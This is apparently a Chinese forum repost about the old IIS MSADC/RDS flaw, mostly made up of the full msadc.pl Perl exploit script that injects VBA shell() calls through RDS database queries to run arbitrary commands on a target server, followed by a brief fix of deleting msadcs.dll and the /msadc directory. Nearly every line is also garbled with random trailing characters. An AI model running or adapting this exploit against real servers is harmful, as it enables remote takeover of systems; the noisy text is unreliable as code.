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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Otu?J_d3  
U{dK8~  
涉及程序: RCfeIHL  
Microsoft NT server zq + 2@"q  
5 `TMqrk  
描述: 9.xb-m7  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 4w|t|?  
dlyGgaV*X  
详细: [&~x5l 8\C  
如果你没有时间读详细内容的话,就删除: '9]?jkl  
c:\Program Files\Common Files\System\Msadc\msadcs.dll :o` <CO  
有关的安全问题就没有了。 {QG6ldI  
Ma\%uEgTD  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;fV"5H)U\  
gHh (QRA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 r=.@APZB  
关于利用ODBC远程漏洞的描述,请参看: 'O 7:=l  
\a0{9Xx F  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _ LgP  
uB\UIz)e  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 WyV,(~y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp X)(K|[  
O_s /BoB@  
这里不再论述。 6VQQI9  
ai/]E6r  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {pi_yr3  
&!;o[joG  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Q2oo\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _3u3b/%J?  
~Ih` ayVq  
)Dms9:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" U*N{H$ACuR  
r]}6iF.  
#!perl x]Nx,tt  
# [< 9%IGH  
# MSADC/RDS 'usage' (aka exploit) script b!MN QGs  
# i \Yd_  
# by rain.forest.puppy =MJRQ V67  
# Ht43G_.j  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me LdOqV'&r  
# beta test and find errors! D\ZH1C!d  
?$I9/r  
use Socket; use Getopt::Std; g~|vmVBua  
getopts("e:vd:h:XR", \%args); qoT&N,/  
,| 8aDL?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Q6 o1^s  
<  j  
if (!defined $args{h} && !defined $args{R}) { /J"fbBXwY  
print qq~ ;9#W#/B  
Usage: msadc.pl -h <host> { -d <delay> -X -v } k!z.6di  
-h <host> = host you want to scan (ip or domain) g"!cO^GkT  
-d <seconds> = delay between calls, default 1 second @ZYJY  
-X = dump Index Server path table, if available E>#@ H  
-v = verbose 9A{D<h}yk  
-e = external dictionary file for step 5 n}9<7e~/  
9I5AYa?  
Or a -R will resume a command session L|D9+u L  
' 8R5 Tl  
~; exit;}  $AZ=;iP-  
g;q.vHvsc"  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 1DU l<&4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ,QA=)~;D  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} r.u\qPT&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); | h"$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} it>Bf;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } s LDEa  
u46Z}~xfb  
if (!defined $args{R}){ $ret = &has_msadc; -d2)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7Kj7or|  
4!3<[J;N;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ~kpa J'm  
. "cmd /c "; :|&6x!  
$in=<STDIN>; chomp $in; 7c%dSs6  
$command="cmd /c " . $in ; SMd[*9l [  
b{<$OVc  
if (defined $args{R}) {&load; exit;}  MkdC*|  
UH7?JF-D  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %y_pF?2@q  
&try_btcustmr; W7.RA>  
@qWClr{`  
print "\nStep 2: Trying to make our own DSN..."; ~ e<,GUx(]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; V3|" v4  
5&A' +]  
print "\nStep 3: Trying known DSNs..."; yI!W658$6  
&known_dsn; kE+fdr\ T  
@^# 9N!Fj]  
print "\nStep 4: Trying known .mdbs..."; DHhty qm  
&known_mdb; _BgWy#  
b9wC:NgQx  
if (defined $args{e}){ ]f`UflMO8  
print "\nStep 5: Trying dictionary of DSN names..."; F }F{/  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ",5=LW&,  
1o_Zw.  
print "Sorry Charley...maybe next time?\n"; !K=$Q Uq  
exit; pvWj)4e  
t"~X6o|R  
############################################################################## 1 K^-tms  
{65Y Tt%  
sub sendraw { # ripped and modded from whisker G7GKO  
sleep($delay); # it's a DoS on the server! At least on mine... KB^GC5L>  
my ($pstr)=@_; {~#01p5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )Fqtb;W=  
die("Socket problems\n"); _ Fk^lDI-  
if(connect(S,pack "SnA4x8",2,80,$target)){ F7=\*U  
select(S); $|=1; "*c&[ALw  
print $pstr; my @in=<S>; RZ9_*Lq7+  
select(STDOUT); close(S); YXF^4||j.c  
return @in; >$3 =yw%  
} else { die("Can't connect...\n"); }} uVX,[%*P  
_S* QIbO  
############################################################################## hr&UD|E=  
"cOBEhn%l  
sub make_header { # make the HTTP request KAT"!b   
my $msadc=<<EOT 2]x,joB  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 +,i_G?eX  
User-Agent: ACTIVEDATA U`{ M1@$  
Host: $ip MP )nQ  
Content-Length: $clen r' |ei,  
Connection: Keep-Alive ,>kXn1 ,  
]g%HU%R-m  
ADCClientVersion:01.06 C.}ho.} r  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 !QqVJ a{j  
od!s5f!  
--!ADM!ROX!YOUR!WORLD! QY\'Uu{  
Content-Type: application/x-varg `$JOFLa  
Content-Length: $reqlen D-m%eP.  
ePSD#kY5  
EOT |\C.il7  
; $msadc=~s/\n/\r\n/g; f7%g=0.F  
return $msadc;} ZY6%%7?1  
nxm*.&#p?  
############################################################################## k<o<!   
>RiU/L  
sub make_req { # make the RDS request ~X;sa,)L1+  
my ($switch, $p1, $p2)=@_;  -l"8L;`  
my $req=""; my $t1, $t2, $query, $dsn; xi.QHKBZaH  
%u Dd#+{  
if ($switch==1){ # this is the btcustmr.mdb query ~jWpD7px  
$query="Select * from Customers where City=" . make_shell(); UU#$Kt*frR  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }$@K   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} e&m TaCLG  
YR)^F|G  
elsif ($switch==2){ # this is general make table query :X1Y  
$query="create table AZZ (B int, C varchar(10))"; N>@.(f&w  
$dsn="$p1";} vMJC  
$ M|vIw{#  
elsif ($switch==3){ # this is general exploit table query E*v+@rv  
$query="select * from AZZ where C=" . make_shell(); lZ,$lZg9Z  
$dsn="$p1";} y7z ,I  
LG?b]'#  
elsif ($switch==4){ # attempt to hork file info from index server bvJ*REPL ?  
$query="select path from scope()"; +xr;X 9  
$dsn="Provider=MSIDXS;";} 1aUu:#c  
h}+Gz={Q^  
elsif ($switch==5){ # bad query a^&RV5o  
$query="select"; LsK fCB}  
$dsn="$p1";} m .En!~t  
tU8aPiUl  
$t1= make_unicode($query); e.|t12)L "  
$t2= make_unicode($dsn); :yOJL [x  
$req = "\x02\x00\x03\x00"; pQm-Hr78j  
$req.= "\x08\x00" . pack ("S1", length($t1)); v1NFz>Hx  
$req.= "\x00\x00" . $t1 ; BK.RYSN  
$req.= "\x08\x00" . pack ("S1", length($t2)); "(a}}q 9-  
$req.= "\x00\x00" . $t2 ; )9!J $q  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Y~OyoNu2  
return $req;} 7l'1  
?CpM.{{s  
############################################################################## NL"w#kTc()  
;tZ8Sh)  
sub make_shell { # this makes the shell() statement {Q0DHNP(G  
return "'|shell(\"$command\")|'";} Bf,}mCq  
gdqED}v  
############################################################################## k{\a_e`  
NE@P8pQ>  
sub make_unicode { # quick little function to convert to unicode %1i *Y*wg  
my ($in)=@_; my $out; .n}k,da@(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } I=8MLv  
return $out;} "N=q>jaX  
?&b"/sRS  
############################################################################## z)*\njYe  
1| xKb (_l  
sub rdo_success { # checks for RDO return success (this is kludge) OJLyqncw  
my (@in) = @_; my $base=content_start(@in); A+hT2Ew@t}  
if($in[$base]=~/multipart\/mixed/){ &([Gc+"5E.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} wY7+E/  
return 0;} 3cFvS[JG  
:XO7#P  
############################################################################## c{/KkmI  
;:Y/"5h  
sub make_dsn { # this makes a DSN for us :*Z@UY   
my @drives=("c","d","e","f"); 8WG_4e  
print "\nMaking DSN: "; 1[". z{V3*  
foreach $drive (@drives) { 4 ..V  
print "$drive: "; 9kas]zQ%=P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . GS!1K(7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 6c[ L*1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Nbm$ta  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; PE+{<[n  
return 0 if $2 eq "404"; # not found/doesn't exist U9//m=_  
if($2 eq "200") { A~wyn5:_  
foreach $line (@results) { \H/}| ^+@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ${7s"IX  
} return 0;} ">R`S<W  
]=%u\~AvL  
############################################################################## Lor__ K  
/.m}y$@GV  
sub verify_exists { `Jl_'P}  
my ($page)=@_; MPJ0>Ly  
my @results=sendraw("GET $page HTTP/1.0\n\n"); mp0! S  
return $results[0];} HK.Si]:  
7+J<N@.d  
############################################################################## zXeBUbVi  
MAG /7T5  
sub try_btcustmr { C2K<CDVw  
my @drives=("c","d","e","f"); 3;EBKGg|  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ? )"v~vs  
5{M$m&$1  
foreach $dir (@dirs) { S2 YxA  
print "$dir -> "; # fun status so you can see progress ']vMOGG  
foreach $drive (@drives) { d|$-l:(J  
print "$drive: "; # ditto +PHuQ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _dn*H-5hO  
$reqlenlen=length( "$reqlen" ); boIFN;Aq"  
$clen= 206 + $reqlenlen + $reqlen; q%Lw#f  
M_F4I$V4  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); DOW Z hD  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Z , 98  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} VD2o#.7*eu  
RS  Vt  
############################################################################## s Qa9M  
)Z@hk]@?_[  
sub odbc_error { Th5}?j7  
my (@in)=@_; my $base; ]\J(  
my $base = content_start(@in); E&|EokSyN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?} U l(  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eLop}*k  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .+CMm5T  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >tV:QP]Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} 78u=Jz6  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; *(Us:*$W.  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . U,^jN|v  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'J#uD|9)  
|>=\ VX17  
############################################################################## _zFJ]7Ym.)  
uGS^*W$  
sub verbose { Yk#$-"c/a  
my ($in)=@_; l)91v"vJ  
return if !$verbose; VV=6v;u`  
print STDOUT "\n$in\n";} ]hA]o7 k  
LfG$?<}hR  
############################################################################## Kl+4A}Uo  
d Y]i AJ  
sub save { b]5S9^=LI  
my ($p1, $p2, $p3, $p4)=@_; '5SO3/{b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; %Z#[{yuFs  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Ya,(J0l  
close OUT;} ^NOy: >  
=zKbvwe%X  
############################################################################## F[U0TP@&*  
29h_oNO  
sub load { fuA 8jx  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";   [IW6F  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ZfIeq<8 _  
@p=<IN>; close(IN); B7BikxUa  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ty"=3AvRLV  
$target= inet_aton($ip) || die("inet_aton problems"); k.w}}78N2N  
print "Resuming to $ip ..."; m?D k(DJ  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Xw9"wAj  
if($p[1]==1) { @NJJ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ` oXL  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; jh.e&6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1"HSM =p  
if (rdo_success(@results)){print "Success!\n";} G X>T~i\f8  
else { print "failed\n"; verbose(odbc_error(@results));}} 3`Q>s;DjIU  
elsif ($p[1]==3){ u=p-]?  
if(run_query("$p[3]")){ kn7Qvk[+  
print "Success!\n";} else { print "failed\n"; }} e!*%U= [Q  
elsif ($p[1]==4){ D z5(v1I9A  
if(run_query($drvst . "$p[3]")){ 3` \)Qm  
print "Success!\n"; } else { print "failed\n"; }} X+k`UM~  
exit;} s2\6\8Ipn  
H3" D$Nv  
############################################################################## s$;IR c5!6  
aQhr$aH  
sub create_table { >d#6qXKAU  
my ($in)=@_; } T<oLvS  
$reqlen=length( make_req(2,$in,"") ) - 28; pNR69/wGi  
$reqlenlen=length( "$reqlen" ); 1`8(O >5  
$clen= 206 + $reqlenlen + $reqlen; oq}Q2[.b  
my @results=sendraw(make_header() . make_req(2,$in,"")); vH9Gf  
return 1 if rdo_success(@results); ZE>!]# ,  
my $temp= odbc_error(@results); verbose($temp); wKs-<b%;  
return 1 if $temp=~/Table 'AZZ' already exists/; Yo#F;s7  
return 0;} 0_5j(   
7u7 <"?v=  
############################################################################## @IwVR  
QG=&{-I~[3  
sub known_dsn { ; +E@h=?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go U?Icyn3q0  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HFd>UdT%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", vxC,8Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); auT$-Ki8  
i#y3QCNqf^  
foreach $dSn (@dsns) { -,#LTW<.  
print "."; z;En Ay{9  
next if (!is_access("DSN=$dSn")); l<mEGKB#  
if(create_table("DSN=$dSn")){ yS:1F PA$_  
print "$dSn successful\n"; 2Md'<.  
if(run_query("DSN=$dSn")){ IKV:J9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZIrJ"*QO=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} A?sU[b6_  
PNMf5'@m  
############################################################################## x2g P, p-  
a0ze7F<(  
sub is_access { ,0Y5O?pu\  
my ($in)=@_; 4?^t=7N  
$reqlen=length( make_req(5,$in,"") ) - 28; F DCHB~D  
$reqlenlen=length( "$reqlen" ); B>&eciY  
$clen= 206 + $reqlenlen + $reqlen; Bswd20(w  
my @results=sendraw(make_header() . make_req(5,$in,"")); J]|lCwF  
my $temp= odbc_error(@results); \dag~b<  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <\cH9D`dE  
return 0;} Z"fnjH  
2x*C1   
############################################################################## MO$ dim>  
r?=7#/]  
sub run_query { ly] n2RK  
my ($in)=@_; ~|~j01#  
$reqlen=length( make_req(3,$in,"") ) - 28; 8oj-5|ct  
$reqlenlen=length( "$reqlen" ); H-,RzL/  
$clen= 206 + $reqlenlen + $reqlen; ){oVVLs  
my @results=sendraw(make_header() . make_req(3,$in,"")); W}5H'D  
return 1 if rdo_success(@results); _(8HK  
my $temp= odbc_error(@results); verbose($temp); h7S&tW GU  
return 0;} wB;'+d&  
q:1_D>  
############################################################################## z!I(B^)BkT  
Bu$GCSrX  
sub known_mdb { :K6(`J3Y"^  
my @drives=("c","d","e","f","g"); o= %Fh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); uvrfR?%QK  
my $dir, $drive, $mdb; E*Q><UU  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; zoV-@<Eh  
L. xzI-I@D  
# this is sparse, because I don't know of many SAEr$F^  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &n:F])`2  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", SdfrLdi}Y  
"\\system32\\certmdb.mdb", ]{[VTjC7rY  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Z<#beT6  
.#b!#   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $bU|'}QR  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t'EH_ U  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", &:` 7  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4{\h53j$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", z.[ Ok  
"\\cfusion\\database\\cfexamples.mdb", m dC.M$  
"\\cfusion\\database\\cfsnippets.mdb", B94mh  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;Db89Nc$  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1& k_&o  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3a4 ]{  
"\\cfusion\\database\\smpolicy.mdb", 8F<Qc*'  
"\\cfusion\\database\cypress.mdb", imtW[y+4  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |^ml|cb  
"\\website\\cgi-win\\dbsample.mdb", T@]vjXd![  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", (r^IW{IndX  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  /y,~?  
); #these are just '* +]&~b  
foreach $drive (@drives) { wo[W1?|s  
foreach $dir (@dirs){ D(&${Mnac  
foreach $mdb (@sysmdbs) { %&"_=Lc  
print "."; 1!/ U#d"  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iw(\]tMt  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; V\kf6E  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ qb ^4G  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )(&g\  
} else { print "Something's borked. Use verbose next time\n"; }}}}} X!n-nms  
Kk~0jP_B9  
foreach $drive (@drives) { U"xI1fg%b  
foreach $mdb (@mdbs) { {cv,Tz[Q>  
print "."; ~}mX#,  
if(create_table($drv . $drive . $dir . $mdb)){ sDCa&"6+@  
print "\n" . $drive . $dir . $mdb . " successful\n"; t?v0ylN  
if(run_query($drv . $drive . $dir . $mdb)){ kvdzD6T 9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; VYhZ0;' '  
} else { print "Something's borked. Use verbose next time\n"; }}}} {nbD5 ?   
} E YUr.#:  
cmu5KeH  
############################################################################## Fa9]!bW  
UJ)\E ^Hp  
sub hork_idx { t9PS5O ;  
print "\nAttempting to dump Index Server tables...\n"; Z$,1Tk"O/s  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; doxQS ohS  
$reqlen=length( make_req(4,"","") ) - 28; fh \<tnY  
$reqlenlen=length( "$reqlen" ); yi7-[W}  
$clen= 206 + $reqlenlen + $reqlen; u:N/aaU=  
my @results=sendraw2(make_header() . make_req(4,"","")); %.b)%=  
if (rdo_success(@results)){  ?S0VtHQ  
my $max=@results; my $c; my %d; jjz<V(Sk  
for($c=19; $c<$max; $c++){ 7BF't!-2F  
$results[$c]=~s/\x00//g; 5in6Y5ckj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; $;+B)#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; |n=kYs  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; U;6~]0^K  
$d{"$1$2"}="";} $RKd@5XP  
foreach $c (keys %d){ print "$c\n"; } mxQS9y  
} else {print "Index server doesn't seem to be installed.\n"; }} s iv KXd  
FWdSpaas Q  
############################################################################## (1(3:)@S6  
~@bCSOIy  
sub dsn_dict { 7esG$sVj(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $&k2m^R<  
while(<IN>){ 4^alAq^  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Y.i<7pBt  
next if (!is_access("DSN=$dSn")); J*,Ed51&7  
if(create_table("DSN=$dSn")){ r em&F'x0V  
print "$dSn successful\n"; ssi{(}H/Jv  
if(run_query("DSN=$dSn")){ nUhD41GJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?GD{}f33  
print "Something's borked. Use verbose next time\n";}}}  h:#  
print "\n"; close(IN);} JeUFCWm  
YIfPE{,  
############################################################################## DD|%F  
{)ZbOq2  
sub sendraw2 { # ripped and modded from whisker U`:#+8h-}  
sleep($delay); # it's a DoS on the server! At least on mine... dm.?-u;C  
my ($pstr)=@_; Ej'a G   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ]v94U b   
die("Socket problems\n"); ID'@}69.S  
if(connect(S,pack "SnA4x8",2,80,$target)){ !&E>8h  
print "Connected. Getting data"; N_q7ip%z  
open(OUT,">raw.out"); my @in; pR 1v^m|  
select(S); $|=1; print $pstr; Wz:MPdz3(  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :XBeGNI*#  
close(OUT); select(STDOUT); close(S); return @in; } %S1OQC  
} else { die("Can't connect...\n"); }} *qY`MW  
N##3k-0Ao  
############################################################################## $hn_4$  
!&SUoa  
sub content_start { # this will take in the server headers pVt-7 AgW  
my (@in)=@_; my $c; I g-VSQ  
for ($c=1;$c<500;$c++) { Ao`9fI#q  
if($in[$c] =~/^\x0d\x0a/){ ;n7k_K#0z!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3Eiy/  
else { return $c+1; }}} ?)4|WN|c_  
return -1;} # it should never get here actually "Oh-`C  
}Ss#0Gee  
############################################################################## >\} 2("bv  
[ "J  
sub funky { y"$|?187x  
my (@in)=@_; my $error=odbc_error(@in); 3{d1Jk/S  
if($error=~/ADO could not find the specified provider/){ RXl52#:  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; X@af[J[cQ  
exit;} $3Wl~ G}  
if($error=~/A Handler is required/){ a/L?R Uu  
print "\nServer has custom handler filters (they most likely are patched)\n"; r^#.yUz  
exit;} R\0]\JEc  
if($error=~/specified Handler has denied Access/){ 1ZhJ?PI,9{  
print "\nServer has custom handler filters (they most likely are patched)\n"; :$/lGIz  
exit;}} ;13lu1  
(.%:Q0i1  
############################################################################## 0~Yg={IKhK  
bi KpV? Dp  
sub has_msadc { I7BfA,mZ7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); H0tjN&O_  
my $base=content_start(@results); )u\"xxcV  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); HX+'{zm]  
return 0;} SRM[IU  
_u{D#mmO  
######################## 2lAuO!%  
I9SO}a2p  
8C4 Tyms  
解决方案: HOykmx6$  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll lP9a*>=a  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 86IAAO`#  
hbE;zY%hP  
拿出来充数 哈哈
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